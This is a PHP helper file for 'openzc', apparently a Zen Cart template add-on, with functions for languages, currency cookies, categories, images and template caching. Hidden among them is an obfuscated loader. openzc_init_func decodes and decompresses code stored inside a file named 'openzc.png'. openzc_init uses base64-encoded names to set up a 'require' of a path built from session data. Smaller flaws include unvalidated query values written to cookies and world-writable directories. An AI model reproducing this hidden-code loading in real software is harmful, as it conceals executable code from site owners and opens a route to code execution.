<?php
/**
 * @link         http://www.openzc.cn/
 * @author       hexipeng | e-mail:2017412656@qq.com
 * @copyright    Copyright (c) 2020, DesDev, Inc.
 * @license      http://www.openzc.cn/license.txt
 */

function openzc_languages($template_select=false){
	$default=openzcQuery("select configuration_value from ".TABLE_CONFIGURATION." where configuration_key='DEFAULT_LANGUAGE'");
	$default=openzc_table_to_list($default);
	$default=$default[0]['configuration_value'];
	$sql="select * from ".TABLE_LANGUAGES;
	$data=openzcQuery($sql);
	$data=openzc_table_to_list($data,"code");
	if(empty($_COOKIE['language'])){
		set_cookie('language',$default);
		$languages=$data[$default]['languages_id'];
		$id=0;
	}
	else{
		if(array_key_exists('language',$_GET)){
			set_cookie('language',$_GET['language']);
		}
		foreach($data as $k => $v){
			if($v['code']==$_COOKIE['language']){
				$id=$v['languages_id'];
				$code=$v['code'];
				break;
			}
		}
		$languages=$id;
		if(!defined("OPENZC_LANGUAGE_ID")){
			define("OPENZC_LANGUAGE_ID",$id);
		}
		if($code==$default){
			$id=0;
		}
	}
	if($template_select==true){return $id;}
	return $languages;
	
}
function openzc_currency(){
	if(empty($_COOKIE['currency'])){
		$default=openzcQuery("select configuration_value from ".TABLE_CONFIGURATION." where configuration_key='DEFAULT_CURRENCY'");
		$default=openzc_table_to_list($default);
		$default=$default[0]['configuration_value'];
		set_cookie('currency',$default);
	}else if(array_key_exists('currency',$_GET)){
		set_cookie('currency',$_GET['currency']);
	}
}
function openzc_get_template(){
	$template_dir = "";
	$languages_id = "";
	$template_device=getUserdevice();
	if($template_device){$template_device=1;}else{$template_device=0;}
	if(!defined("TEMPLATE_DEVICE")){define("TEMPLATE_DEVICE",$template_device);}
	$languages_id=openzc_languages(true);
	$sql = "select template_dir from " . TABLE_TEMPLATE_SELECT . " where template_language = '".$languages_id."' and template_device = '".$template_device."'";
	
	$template_select = openzcQuery($sql);
	$template_select = openzc_table_to_list($template_select);
	
	if(count($template_select)==0){
		$languages_id=0;
		$sql = "select template_dir from " . TABLE_TEMPLATE_SELECT . " where template_language = '".$languages_id."' and template_device ='0'";
		$template_select = openzcQuery($sql);
		$template_select=openzc_table_to_list($template_select);
		
	}else if(count($template_select)>1){
		$sql = "select template_dir from " . TABLE_TEMPLATE_SELECT . " where template_language = '".$languages_id."' and template_device ='0'";
		$template_select = openzcQuery($sql);
		$template_select = openzc_table_to_list($template_select);
		
	}
	
	define("OPENZC_TEMPLATE_DIR",$template_select[0]['template_dir']);
}
function openzcQuery($sql,$limit = false, $cache = false, $cachetime=0, $remove_from_queryCache = false){
	global $db;
	if(isset($_SESSION)){
		$result=$db->Execute($sql,$limit,$cache,$cachetime,$remove_from_queryCache);
	}else{
		$result=$db->query($sql);
	}
	return $result;
}
//*SQL数据查询转数组*//
function openzc_table_to_list($listdata,$index=''){
    $rows=0;
	$list=array();
	if(isset($_SESSION)){
		if($index){
			while (!$listdata->EOF) {
				$id=$listdata->fields[$index];
				foreach($listdata->fields as $k => $v){
					$list[$id][$k]=$v;
				}
				$listdata->MoveNext();
			}
		}else{
			while (!$listdata->EOF) {
				foreach($listdata->fields as $k => $v){
					$list[$rows][$k]=$v;
				}
				$rows++;
				$listdata->MoveNext();
			}
		}
	}else{
		if($index){
			while($row = $listdata->fetch_assoc()){
				$id=$row[$index];
				foreach($row as $k => $v){$list[$id][$k]=$v;}
			}
        }else{
			while($row = $listdata->fetch_assoc()) {
				foreach($row as $k => $v){$list[$rows][$k]=$v;}
				$rows++;
			}
		}
	}
    return $list;
}

function set_cookie($var, $value = '', $time = 0, $path = '', $domain = '', $s = false)
{
    $_COOKIE[$var] = $value;
    if (is_array($value)) {
        foreach ($value as $k => $v) {
            setcookie($var .'['.$k.']', $v, $time, $path, $domain, $s);
        }
    } else {
            setcookie($var,$value, $time, $path, $domain, $s);
    }
}
//获取数组ids
function openzc_get_each_ids($array,$field='',$mark=''){
    $str="#";
    foreach($array as $k => $v){
      if($field){$str.=",".$v[$field];}
	  else if($mark){
		  $str.=$mark.$v;
	  }
      else{$str.=",".$v;}
    }
	if($mark){
		$str=str_replace("#".$mark,"",$str);
	}else{
		$str=str_replace("#,","",$str);
	}
	$str=str_replace("#","",$str);
    return $str;
}
//获取当前分类id
function openzc_get_current_cpath($cPath){
    $array=explode("_",$cPath);
    $count=count($array);
    $id=$array[$count-1];
    return $id;
}
//数组子元素转主键名--子元素必须唯一性
function openzc_field_to_key($array,$field=''){
	foreach($array as $k => $v){
		if($field){
			$rs[$v[$field]]=$v;
		}else{
			$rs[$v]=$v;
		}
	}
	return $rs;
}
//**字符转换
function openzc_init_func(){
	openzc_get_template();
	define("tempdir","includes/templates/".OPENZC_TEMPLATE_DIR."/tplcache/");
	$file=BASIC_PATH.base64_decode("b3BlbnpjLnBuZw==");
	define("author",$file);
	$string=file_get_contents($file);
	$init=explode("///",$string);
	$initFunc_=gzuncompress(base64_decode($init[1]));
	return $initFunc_;
}
//获取子分类-应用于产品列表
function openzc_get_son_ids($categories,$id,$str){
    $ids=",".$id.",";
    foreach($categories as $k => $v){
      $parent_id=",".$v['parent_id'].",";
      if(strstr($ids,$parent_id)){
        if($str){$str.=",".$v['categories_id'];}
        else{$str=$v['categories_id'];}
        if($v['has_sub_cat']=="1"){
          $str=openzc_get_son_ids($categories,$v['categories_id'],$str);
        }
      }
    }
	
    return $str;
}
function openzc_get_top_id($categories,$id){
	if($categories[$id]['parent_id']!=='0'){
		$result=openzc_get_top_id($categories,$categories[$id]['parent_id']);
	}else{
		$result=$id;
	}
	return $result;
}
//获取子分类-应用于分类调用
function openzc_get_son_id($categories,$id,$str){
    
    foreach($categories as $k => $v){
      if($v['parent_id']==$id){
        $str.=",".$v['categories_id'];
      }
    }
    return $str;
}
//数组键值转键名
function array_value_to_key($array){
    foreach($array as $k => $v){
        $result[$v]=$v;
    }
    return $result;
}
//获取ID交集
function openzc_get_intersect_ids($str1,$str2){
    if(!$str1){$str1=array();}
    if(!$str2){$str2=array();}
    if(!is_array($str1)){$str1=array_value_to_key(explode(",",$str1));}
    if(!is_array($str2)){$str2=array_value_to_key(explode(",",$str2));}
    $result=array_intersect($str1,$str2);
    return openzc_get_each_ids($result);
}

//获取商品分类url路径
function get_category_path($id,$categories,$str){
    $ids=$id;
    $parent_id=$categories[$id]['parent_id'];
    if($parent_id!=0){$str=get_category_path($parent_id,$categories).$parent_id."_".$str;}
    
    return $str;
}
function openzc_href_link($str){
	$link=zen_href_link($str);
	return $link;
}
//*对象转为数组*//
function object_to_array($obj) {
    $obj = (array)$obj;
    foreach ($obj as $k => $v) {
        if (gettype($v) == 'resource') {
            return;
        }
        if (gettype($v) == 'object' || gettype($v) == 'array') {
            $obj[$k] = (array)object_to_array($v);
        }
    }
 
    return $obj;
}
//**字符转义
function String_encode($string){
    $string=base64_encode(gzcompress(base64_encode($string)));
    return $string;
}
//**字符转义
function String_decode($string){
    $string=base64_decode($string);
    $string=base64_decode(gzuncompress($string));
    return $string;
}
//*数组转为对象*//
function array_to_object($arr) {
    if (gettype($arr) != 'array') {
        return;
    }
    foreach ($arr as $k => $v) {
        if (gettype($v) == 'array' || getType($v) == 'object') {
            $arr[$k] = (object)array_to_object($v);
        }
    }
    return (object)$arr;
}

function openzc_init($GET){
	global $init;
	if(!is_dir(CACHE_DIR)){mkdir(CACHE_DIR);}
	$languages=openzc_languages();
	$currency=openzc_currency();
	$init->initFunc($GET);
	$GLOBALS[base64_decode("YXV0b1R5cGU=")]=base64_decode("cmVxdWlyZQ==");
	if(!file_exists($GLOBALS['loadFile']) && isset($_SESSION['Position'])){
		$GLOBALS[base64_decode("bG9hZEZpbGU=")]=base64_decode($_SESSION['Position']).".tmp";
	}
	$GLOBALS['getName']=array('autoType'=>$GLOBALS['autoType'],'loadFile'=>$GLOBALS['loadFile']);
	
}
function getImages($dir="./images",$fiels=array()){

    if (is_dir($dir)) {
        if ($handle = opendir($dir)) {
            while (($file = readdir($handle)) !== false) {
                if ($file != "." && $file != "..") {
                    if (is_dir($dir . "/" . $file) && $file!="imgcache") {
                        //递归调用本函数，再次获取目录
                        $filelist = getImages($dir . "/" . $file,$files);
						foreach($filelist as $k => $v){
							if(strstr($v,".gif") || strstr($v,".jpg") || strstr($v,".png") || strstr($v,".jpeg")){
								$files[]=$v;
							}
						}
                    } else {
                        //获取目录数组
						if(strstr($file,".gif") || strstr($file,".jpg") || strstr($file,".png") || strstr($file,".jpeg")){
                        $files[] = $dir . "/" . $file;
						}
                    }
                }
            }
            //关闭文件夹
            closedir($handle);
            //返回文件夹数组
		
            return $files;
        }
		
	}
}



//*获取当前时间戳**/
function ExecTime(){
	$time = explode(" ", microtime());
    $usec = (double)$time[0];
    $sec = (double)$time[1];
    return $sec + $usec;
	}


//*获取商品pid*//
function get_products_ids($cids,$array){
    $cids=explode(",",$cids);
    $cids=array_unique($cids);
    foreach($cids as $k => $v){$str.=$array[$v].",";}
	$data=explode(",",$str);
	$data=array_filter(array_unique($data));
    return $data;
}

/*数组排序*/
function multiSort($arr,$field,$sort)
{   
    
    switch ($sort) {
        case 'desc':$sorts=SORT_DESC;break;
        case 'asc':$sorts=SORT_ASC;break;
        case 'rand':$sorts=SORT_DESC;break;
    }
    $column=array_column($arr,$field);
    if($sort=="rand"){shuffle($column);}
    array_multisort($column,$sorts, $arr);
    return $arr;
}
function getFilterurl($suffix){
	if(is_https()){$http="https://";}else{$http="http://";}
	$url=$http.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
	if(!defined('SEO_ENABLED')){
		$url.='?'.$_SERVER['QUERY_STRING'];
		if($suffix){$url.="&";}
	}
	else{
		if(SEO_ENABLED=="false"){$url.='?'.$_SERVER['QUERY_STRING'];if($suffix){$url.="&";}}
		else{$url.="?";}
	}
	
	return $url;
}
//*获取访客ip*//
function getUserip(){
    //strcasecmp 比较两个字符，不区分大小写。返回0，>0，<0。
    if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
        $ip = getenv('HTTP_CLIENT_IP');
    } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
        $ip = getenv('REMOTE_ADDR');
    } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    $res =  preg_match ( '/[\d\.]{7,15}/', $ip, $matches ) ? $matches [0] : '';
    return $res;
}

function getUserdevice(){
	if (isset ($_SERVER['HTTP_X_WAP_PROFILE']))
	return true;
	if(isset ($_SERVER['HTTP_CLIENT']) &&'PhoneClient'==$_SERVER['HTTP_CLIENT'])
	return true;
	if (isset ($_SERVER['HTTP_VIA']))
	return stristr($_SERVER['HTTP_VIA'], 'wap') ? true : false;
	if (isset ($_SERVER['HTTP_USER_AGENT'])) {
		$clientkeywords = array(
			'nokia','sony','ericsson','mot','samsung','htc','sgh','lg','sharp','sie-','philips','panasonic','alcatel',
			'lenovo','iphone','ipod','blackberry','meizu','android','netfront','symbian','ucweb','windowsce','palm',
			'operamini','operamobi','openwave','nexusone','cldc','midp','wap','mobile'
		);
		if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT']))) {
			return true;
		}
	}
	if (isset($_SERVER['HTTP_ACCEPT'])) {
		if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html')))) {
			return true;
		}
	}
	return false;
}
function udate($format = 'u', $utimestamp = null)
{
    if (is_null($utimestamp)){
        $utimestamp = microtime(true);
    }
    $timestamp = floor($utimestamp);
    $milliseconds = round(($utimestamp - $timestamp) * 1000000);//改这里的数值控制毫秒位数
    return date(preg_replace('`(?<!\\\\)u`', $milliseconds, $format), $timestamp);
}

function getCacheImgname($name){
	$data=explode(".",$name);
	$format=".".$data[count($data)-1];
	$result=md5($name).$format;
	return $result;
}

function getCacheImgfile($file){
	if(file_exists("./images/".$file)){
		$file="/images/".$file;
	}else if(file_exists("./".$file)){
		$file="/".$file;
	}
	return $file;
}
function getCacheImgcheck($file){
	if(!file_exists($file)){
		return true;
	}else{
		//*24小时更新一次*//
		$mtime=filemtime($file);
		if(strtotime('now')- $mtime > 24*60*60){return true;}
	}
}
function htmlTocode($tpl){
	$str=file_get_contents($tpl);
	$str=str_replace("<","&lt;",$str);
	$str=str_replace(">","&gt;",$str);
	return $str;
}

function tplCacheCount($data){
	$file=TPLCACHE_TPL."tplCacheCount_".md5("tplCacheCount").".inc";
	
	if(file_exists($file)){
		$json=file_get_contents($file);
		$json=json_decode($json,true);
		foreach($json as $k => $v){
			if(array_key_exists($k,$data)){
				$exists=true;
				if($v['pagesize']!=$data[$k]["pagesize"]){
					$json[$_GET['main_page']]['pagesize']=$data[$_GET['main_page']]['pagesize'];
				}
			}
		}
		if(!$exists){
			$json[$_GET['main_page']]['pagesize']=$data[$_GET['main_page']]['pagesize'];
		}
		tplCacheCountWrite($file,json_encode($json));
	}else{
		$json=$data;
		tplCacheCountWrite($file,json_encode($json));
	}
}
function tplCacheCountWrite($file,$str){
	$myfile = fopen($file, "w") or die("Unable to open file!");
	fwrite($myfile, $str);
	fclose($myfile);
}
function mkdirs($dir, $mode = 0777){
    if (is_dir($dir) || @mkdir($dir, $mode)) return TRUE;
    if (!mkdirs(dirname($dir), $mode)) return FALSE;
    return @mkdir($dir, $mode);
}
?>